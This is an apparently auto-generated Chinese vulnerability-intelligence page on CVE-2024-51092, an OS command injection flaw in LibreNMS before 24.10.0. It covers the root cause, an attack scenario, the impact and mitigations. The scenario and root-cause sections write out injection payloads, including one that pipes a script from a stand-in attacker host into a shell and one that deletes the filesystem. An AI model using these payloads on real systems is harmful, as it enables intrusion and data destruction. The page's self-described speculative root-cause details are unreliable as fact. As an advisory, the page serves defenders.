CVE-2024-51092 (CVSS 9.1) - LibreNMS before 24.10.0 allows a remote attacker to execute arbitrary code via O

🔥 热门漏洞情报 · NVD-Latest · 2026-05-08

CVE-2024-51092 (CVSS 9.1) - LibreNMS before 24.10.0 allows a remote attacker to execute arbitrary code via O

Critical · CVSS 9.1 OS命令注入
CVE-2024-51092

📋 漏洞概述

LibreNMS 24.10.0之前版本存在OS命令注入漏洞,远程攻击者可通过三个控制器函数执行任意代码。

📋 基础信息

受影响版本LibreNMS < 24.10.0
漏洞类型OS命令注入
CVSS9.1 · Critical
CVECVE-2024-51092

🔬 漏洞根因

AboutController.php中的index()、SettingsController.php中的update()以及PollDevice.php中的initRrdDirectory()函数未充分过滤用户输入的参数,直接将可控数据拼接至系统命令(如shell_exec、exec或popen)中执行。具体分析:AboutController.php可能将用户可控的查询字符串或POST参数拼入About查询命令;SettingsController.php的update()可能将配置项值未严格校验即作为系统命令参数;PollDevice.php的initRrdDirectory()在创建RRD目录时可能使用用户提供的设备名称或路径变量,导致如`; rm -rf /`等注入。推测:三个函数分别对应不同功能入口,均因缺乏输入验证或白名单机制,使得攻击者可通过HTTP请求参数或表单字段注入分号、管道符等元字符来执行任意OS命令。

🎯 攻击场景

1. 攻击者确定目标为运行LibreNMS 24.10.0之前版本的服务器,且可达Web界面;2. 构造恶意HTTP请求,例如向`/about`或`/settings`端点提交GET/POST数据,在参数中插入OS命令(如`; id`、`| curl http://attacker.com/shell.sh | sh`);3. 请求被发送至AboutController.php的index()或SettingsController.php的update()函数;4. 开发者未对参数做转义或白名单校验,直接将其拼入后台执行的系统命令;5. 命令执行后,攻击者可获得Web服务进程权限(通常为www-data),进一步提权或植入后门、窃取数据、横向移动。

💥 漏洞影响

远程未认证攻击者可实现任意OS命令执行,导致完全控制LibreNMS服务端。危害包括:窃取数据库凭证、修改配置、植入后门、发起横向渗透、破坏监控数据完整性,甚至利用主机权限攻击内网其他系统。CVSS 9.1表明该漏洞可被远程利用、无需用户交互、且影响机密性/完整性/可用性全部方面。

🛡️ 修复建议

立即升级至LibreNMS 24.10.0或更高版本。临时缓解措施:在条件允许时,限制对LibreNMS管理后台的访问(如IP白名单、VPN);禁用不需要的端点或增加WAF规则过滤系统命令元字符(如;、|、&、`);审计所有涉及系统调用函数(exec、shell_exec、system、popen)的输入,实施严格的参数白名单或转义。

📎 参考链接


⚠️ 本文由漏洞情报系统自动生成,仅供安全研究与防御参考。生成时间: 2026-05-10 08:09 | 来源: NVD-Latest

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)